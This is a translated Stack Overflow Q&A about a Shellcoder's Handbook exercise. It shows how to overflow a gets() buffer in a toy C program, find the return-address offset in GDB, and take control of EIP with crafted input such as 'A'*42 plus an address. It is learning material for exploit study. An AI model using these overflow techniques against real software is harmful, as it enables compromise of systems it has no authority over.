堆栈溢出(shellcoders手册)

时间:2012-08-13 14:02:33

标签: c gdb stack-overflow

我正在考虑这个例子w.r.t. shellcoder的手册(第二版),并对堆栈有一些疑问

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

在这个例子中我拿了48个字节“AAAAAAAAAABBBBBBBBBCCCCCCCCCCDDDD \ x35 \ x84 \ x04 \ x08”来重写ret地址,一切正常。但是当我尝试使用本书第一版的例子时,我遇到了一些问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

为什么程序为数组采用了24(十六进制)= 36(dec)字节,但是我使用了48个重写,36个字节的数组,8个字节的esp和ebp(我怎么知道),但是有钢有4个无法解释的字节

好吧,让我们试试从第一版的书中通过调用函数的地址重写所有数组的sploit,在书中他们有“sub&amp; 0x20,%esp”所以代码是

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

我有“”sub&amp; 0x24,%esp“所以我的代码将是

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 
shellcoders'手册的结果

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

和我的结果

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

有什么问题? 我正在编译

  

-fno-stack-protector -mpreferred-stack-boundary = 2

2 个答案:

答案 0 :(得分:3)

我建议您通过尝试使用GDB来获得溢出缓冲区所需的字节数。我编译了您在问题中提供的源代码并通过GDB运行:

gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]

(请注意我使用Python来创建我的输入而不是编译的C程序。这没关系,使用你喜欢的。)

所以30个字节很好。让我们再尝试一下:

gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

gdb$ i r $eip
eip            0x41414141   0x41414141

我们的eip注册现在包含0x41414141,其中ASCII为AAAA。现在,我们可以逐步检查我们在哪里确切地将值放在更新eip

的缓冲区中
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()

B0x42。因此,当使用40 eip和4 A时,我们覆盖了B的一半。因此,我们使用42 A填充,然后将我们要更新的值eip添加到:{/ p>

gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

我们完全控制了eip!我们来试试吧。在ret_input的末尾设置断点(当我重新编译二进制文件时,您的地址可能会有所不同):

gdb$ dis ret_input
Dump of assembler code for function ret_input:
   0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x38,%esp
   0x0804840a <+6>: lea    -0x26(%ebp),%eax
   0x0804840d <+9>: mov    %eax,(%esp)
   0x08048410 <+12>:    call   0x8048310 <gets@plt>
   0x08048415 <+17>:    lea    -0x26(%ebp),%eax
   0x08048418 <+20>:    mov    %eax,(%esp)
   0x0804841b <+23>:    call   0x8048320 <puts@plt>
   0x08048420 <+28>:    leave  
   0x08048421 <+29>:    ret    
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421

例如,让我们修改eip,这样一旦从ret_input返回,我们就会再次在函数的开头结束:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    

--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>:    ret    
   0x8048422 <main>:    push   ebp
   0x8048423 <main+1>:  mov    ebp,esp
   0x8048425 <main+3>:  and    esp,0xfffffff0
   0x8048428 <main+6>:  call   0x8048404 <ret_input>
   0x804842d <main+11>: mov    eax,0x0
   0x8048432 <main+16>: leave  
   0x8048433 <main+17>: ret    
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048421 in ret_input ()

我们填充42 A,然后将ret_input的地址附加到我们的缓冲区。我们在ret触发器上的断点。

gdb$ x/w $esp
0xffffd30c: 0x08048404

在堆栈顶部有缓冲区的最后一个DWORD - ret_input的地址。

gdb$ n
0x08048404 in ret_input ()    

gdb$ i r $eip
eip            0x8048404    0x8048404 <ret_input>

执行下一条指令会从堆栈中弹出该值并相应地设置eip

旁注:我建议使用this guy中的.gdbinit文件。

答案 1 :(得分:1)

这一行:

表示(i = o; i <= 44; i + = 4);

从最后删除;。我还假设o(字母o)而不是0(零)在这里输入错误。

问题是你的for循环正在执行;(也就是什么都不做),直到我变大到44,然后你用i = 44执行下一个命令超出数组的范围,你得到Segmentation Error。您应该注意这种类型的错误,因为它几乎不可见,并且它是完全有效的c代码。